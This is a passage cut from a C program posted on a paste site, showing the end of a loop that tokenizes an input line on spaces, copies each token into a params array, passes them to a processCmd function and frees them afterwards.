  2660. {
  2661. if(*pch != '\n')
  2662. {
  2663. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2664. memset(params[paramsCount], 0, strlen(pch) + 1);
  2665. strcpy(params[paramsCount], pch);
  2666. paramsCount++;
  2667. }
  2668. pch = strtok(NULL, " ");
  2669. }
  2670. processCmd(paramsCount, params);
  2671. if(paramsCount > 1)
  2672. {
  2673. int q = 1;
  2674. for(q = 1; q < paramsCount; q++)
  2675. {
  2676. free(params[q]);
  2677. }
  2678. }
  2679. }
  2680. }
  2681. }
  2682. return 0;
  2683. }
Advertisement
Add Comment
Please, Sign In to add comment